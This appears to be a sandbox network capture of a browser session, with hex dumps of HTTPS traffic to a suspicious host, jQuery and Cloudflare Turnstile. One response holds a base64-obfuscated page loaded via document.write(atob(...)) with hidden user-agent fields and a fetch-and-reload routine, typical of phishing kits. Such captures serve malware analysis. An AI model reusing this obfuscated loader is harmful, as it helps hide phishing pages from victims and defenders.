2024-04-16 19:39:45 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 64 46 4d 56 52 57 52 56 4e 78 57 47 31 50 55 48 52 34 55 57 4a 4e 63 33 64 71 57 45 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4d 6e 46 31 56 32 6c 72 4d 45 46 50 65 6d 35 71 59 30 4a 5a 4e 31 5a 78 61 47 68 49 63 33 56 6b 52 58 6c 71 51 57 5a 47 54 30 78 35 52 33 52 43 4e 6e 55 35 62 33 5a 4d 64 6d 6c 4e 62 32 64 58 51 6a 56 31 5a 6e 51 34 5a 6d 52 4b 63 47 78 36 62 6e 46 48 56 56 4e 58 64 47 56 33 62 31 4e 54 64 47 68 43 61 58 4e 68 4d 55 70 32 56 33 64 69 5a 48 55 76 51 33 68 45 57 69 74 6b 63 47 46 6d 62 44 52 57 61 6d 46 4a 4c 30 56 49 4e 6a 4a 6c 4f 55 6c 43 52 6e 68 54 61 69 74 58 4d 56 42 35 62 31 59 72 59 31 6c 4d 63 6d 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkdFMVRWRVNxWG1PUHR4UWJNc3dqWEE9PSIsInZhbHVlIjoiMnF1V2lrMEFPem5qY0JZN1ZxaGhIc3VkRXlqQWZGT0x5R3RCNnU5b3ZMdmlNb2dXQjV1ZnQ4ZmRKcGx6bnFHVVNXdGV3b1NTdGhCaXNhMUp2V3diZHUvQ3hEWitkcGFmbDRWamFJL0VINjJlOUlCRnhTaitXMVB5b1YrY1lMcmg
2024-04-16 19:39:45 UTC	1369	IN	Data Raw: 31 37 63 65 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 4a 35 4c 54 4d 75 4e 69 34 77 4c 6d 31 70 62 69 35 71 63 79 49 2b 50 43 39 7a 59 33 4a 70 63 48 51 2b 44 51 6f 67 49 43 41 67 50 48 4e 6a 63 6d 6c 77 64 43 42 7a 63 6d 4d 39 49 6d 68 30 64 48 42 7a 4f 69 38 76 59 32 68 68 62 47 Data Ascii: 17ce<script>document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbG
2024-04-16 19:39:45 UTC	1369	IN	Data Raw: 44 51 6f 67 49 47 39 32 5a 58 4a 6d 62 47 39 33 4f 69 42 6f 61 57 52 6b 5a 57 34 37 44 51 70 39 44 51 6f 6a 61 6d 56 32 61 55 5a 6c 53 31 70 48 54 43 42 6f 4e 48 74 74 59 58 4a 6e 61 57 34 74 64 47 39 77 4f 6a 41 37 62 57 46 79 5a 32 6c 75 4c 57 4a 76 64 48 52 76 62 54 6f 75 4e 58 4a 6c 62 54 74 6d 62 32 35 30 4c 58 64 6c 61 57 64 6f 64 44 6f 31 4d 44 41 37 62 47 6c 75 5a 53 31 6f 5a 57 6c 6e 61 48 51 36 4d 53 34 79 4f 33 30 4e 43 69 4e 71 5a 58 5a 70 52 6d 56 4c 57 6b 64 4d 49 47 67 30 65 32 5a 76 62 6e 51 74 63 32 6c 36 5a 54 70 6a 59 57 78 6a 4b 44 45 75 4d 79 6b 37 66 51 30 4b 51 47 31 6c 5a 47 6c 68 49 43 68 74 61 57 34 74 64 32 6c 6b 64 47 67 36 4d 54 49 77 4d 48 42 34 4b 58 73 4e 43 69 4e 71 5a 58 5a 70 52 6d 56 4c 57 6b 64 4d 49 47 67 30 65 32 5a Data Ascii: DQogIG92ZXJmbG93OiBoaWRkZW47DQp9DQojamV2aUZlS1pHTCBoNHttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbTouNXJlbTtmb250LXdlaWdodDo1MDA7bGluZS1oZWlnaHQ6MS4yO30NCiNqZXZpRmVLWkdMIGg0e2ZvbnQtc2l6ZTpjYWxjKDEuMyk7fQ0KQG1lZGlhIChtaW4td2lkdGg6MTIwMHB4KXsNCiNqZXZpRmVLWkdMIGg0e2Z
2024-04-16 19:39:45 UTC	1369	IN	Data Raw: 54 49 67 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 49 44 41 75 4e 58 4a 6c 62 53 46 70 62 58 42 76 63 6e 52 68 62 6e 51 37 66 51 30 4b 49 32 70 6c 64 6d 6c 47 5a 55 74 61 52 30 77 67 4c 6d 67 30 49 48 74 6d 62 32 35 30 4c 58 4e 70 65 6d 55 36 49 47 4e 68 62 47 4d 6f 4c 6a 6b 77 4d 48 4a 6c 62 53 41 72 49 43 34 7a 64 6e 63 70 4f 33 30 4e 43 69 4e 71 5a 58 5a 70 52 6d 56 4c 57 6b 64 4d 49 43 35 71 64 58 4e 30 61 57 5a 35 4c 57 4e 76 62 6e 52 6c 62 6e 51 74 59 32 56 75 64 47 56 79 65 32 70 31 63 33 52 70 5a 6e 6b 74 59 32 39 75 64 47 56 75 64 44 70 6a 5a 57 35 30 5a 58 49 68 61 57 31 77 62 33 4a 30 59 57 35 30 4f 33 30 4e 43 69 4e 71 5a 58 5a 70 52 6d 56 4c 57 6b 64 4d 4c 6d 31 30 4c 54 56 37 62 57 46 79 5a 32 6c 75 4c 58 52 76 63 44 6f 7a 63 6d 56 74 Data Ascii: TIge21hcmdpbi10b3A6IDAuNXJlbSFpbXBvcnRhbnQ7fQ0KI2pldmlGZUtaR0wgLmg0IHtmb250LXNpemU6IGNhbGMoLjkwMHJlbSArIC4zdncpO30NCiNqZXZpRmVLWkdMIC5qdXN0aWZ5LWNvbnRlbnQtY2VudGVye2p1c3RpZnktY29udGVudDpjZW50ZXIhaW1wb3J0YW50O30NCiNqZXZpRmVLWkdMLm10LTV7bWFyZ2luLXRvcDozcmVt
2024-04-16 19:39:45 UTC	1369	IN	Data Raw: 30 69 49 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 57 52 6b 5a 57 34 69 49 47 6c 6b 50 53 4a 69 62 48 52 6b 64 57 45 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 31 59 53 49 67 64 6d 46 73 64 57 55 39 49 6b 31 76 65 6d 6c 73 62 47 45 76 4e 53 34 77 49 43 68 58 61 57 35 6b 62 33 64 7a 49 45 35 55 49 44 45 77 4c 6a 41 37 49 46 64 70 62 6a 59 30 4f 79 42 34 4e 6a 51 70 49 45 46 77 63 47 78 6c 56 32 56 69 53 32 6c 30 4c 7a 55 7a 4e 79 34 7a 4e 69 41 6f 53 30 68 55 54 55 77 73 49 47 78 70 61 32 55 67 52 32 56 6a 61 32 38 70 49 45 4e 6f 63 6d 39 74 5a 53 38 78 4d 54 63 75 4d 43 34 77 4c 6a 41 67 55 32 46 6d 59 58 4a 70 4c 7a 55 7a 4e 79 34 7a 4e 69 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a Data Ascii: 0iIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJibHRkdWEiIG5hbWU9ImJsdGR1YSIgdmFsdWU9Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTcuMC4wLjAgU2FmYXJpLzUzNy4zNiI+DQo8aW5wdXQgdHlwZT0iaGlkZ
2024-04-16 19:39:45 UTC	626	IN	Data Raw: 6f 53 33 70 50 5a 6e 64 74 5a 58 6c 61 63 53 6b 4e 43 69 41 67 49 43 41 67 49 43 41 67 66 53 6b 75 64 47 68 6c 62 69 68 79 5a 58 4e 77 62 32 35 7a 5a 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 63 6d 56 7a 63 47 39 75 63 32 55 75 61 6e 4e 76 62 69 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 39 4b 53 35 30 61 47 56 75 4b 47 52 68 64 47 45 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 61 57 59 6f 5a 47 46 30 59 56 73 6e 63 33 52 68 64 48 56 7a 4a 31 30 67 50 54 30 67 4a 33 4e 31 59 32 4e 6c 63 33 4d 6e 4b 58 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 47 78 76 59 32 46 30 61 57 39 75 4c 6e 4a 6c 62 47 39 68 5a 43 67 70 4f 77 30 4b 49 43 41 67 49 43 Data Ascii: oS3pPZndtZXlacSkNCiAgICAgICAgfSkudGhlbihyZXNwb25zZSA9PiB7DQogICAgICAgICAgICByZXR1cm4gcmVzcG9uc2UuanNvbigpOw0KICAgICAgICB9KS50aGVuKGRhdGEgPT4gew0KICAgICAgICAgICAgaWYoZGF0YVsnc3RhdHVzJ10gPT0gJ3N1Y2Nlc3MnKXsNCiAgICAgICAgICAgIGxvY2F0aW9uLnJlbG9hZCgpOw0KICAgIC
2024-04-16 19:39:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	184.31.62.93	443

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:45 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-16 19:39:45 UTC	468	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/079C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=127474 Date: Tue, 16 Apr 2024 19:39:45 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	184.31.62.93	443

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:46 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-16 19:39:46 UTC	805	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0778) X-CID: 11 X-CCC: US X-Azure-Ref-OriginShield: Ref A: 52EA27DBDE0C4533B819423583F6692E Ref B: CH1AA2040902052 Ref C: 2023-07-09T23:10:08Z X-MSEdge-Ref: Ref A: 528BB8D443C042AA9AEA4EC3F75C7762 Ref B: CHI30EDGE0111 Ref C: 2023-07-09T23:11:11Z Content-Type: application/octet-stream X-Azure-Ref: 01uvbYwAAAACkqWtaEMjWQL/4cpisZkorTUVNMzBFREdFMDgxMQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=127410 Date: Tue, 16 Apr 2024 19:39:46 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-16 19:39:46 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	104.17.3.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:46 UTC	648	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://qnh3b.putimp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:46 UTC	352	IN	HTTP/1.1 302 Found Date: Tue, 16 Apr 2024 19:39:46 GMT Content-Length: 0 Connection: close cache-control: max-age=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/bcc5fb0a8815/api.js?render=explicit access-control-allow-origin: * Server: cloudflare CF-RAY: 8756a4af5d1012d7-ATL alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	151.101.130.137	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:46 UTC	622	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://qnh3b.putimp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:46 UTC	571	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 16 Apr 2024 19:39:46 GMT Age: 3061874 X-Served-By: cache-lga21931-LGA, cache-pdk-kfty2130091-PDK X-Cache: HIT, HIT X-Cache-Hits: 2318, 356 X-Timer: S1713296386.459038,VS0,VE0 Vary: Accept-Encoding
2024-04-16 19:39:46 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-04-16 19:39:46 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-04-16 19:39:46 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-04-16 19:39:46 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-04-16 19:39:46 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-04-16 19:39:46 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	104.17.3.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:46 UTC	663	OUT	GET /turnstile/v0/b/bcc5fb0a8815/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://qnh3b.putimp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:47 UTC	340	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:39:47 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 40614 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 8756a4b2e8324545-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:39:47 UTC	1029	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 2c 72 2c 74 2c 69 2c 75 2c 73 2c 6d 29 7b 74 72 79 7b 76 61 72 20 79 3d 65 5b 73 5d 28 6d 29 2c 62 3d 79 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 64 29 7b 74 28 64 29 3b 72 65 74 75 72 6e 7d 79 2e 64 6f 6e 65 3f 72 28 62 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 62 29 2e 74 68 65 6e 28 69 2c 75 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 69 2c 75 29 7b 76 61 72 20 73 3d 65 2e 61 70 70 6c 79 28 72 2c 74 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function gt(e,r,t,i,u,s,m){try{var y=e[s](m),b=y.value}catch(d){t(d);return}y.done?r(b):Promise.resolve(b).then(i,u)}function yt(e){return function(){var r=this,t=arguments;return new Promise(function(i,u){var s=e.apply(r,t);funct
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 75 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 75 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 74 2e 70 75 73 68 2e 61 70 70 6c 79 28 74 2c 69 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 5f 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 72 29 29 3a 69 72 28 4f 62 6a 65 63 74 28 72 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 Data Ascii: tion(u){return Object.getOwnPropertyDescriptor(e,u).enumerable})),t.push.apply(t,i)}return t}function _t(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):ir(Object(r)).forEach(funct
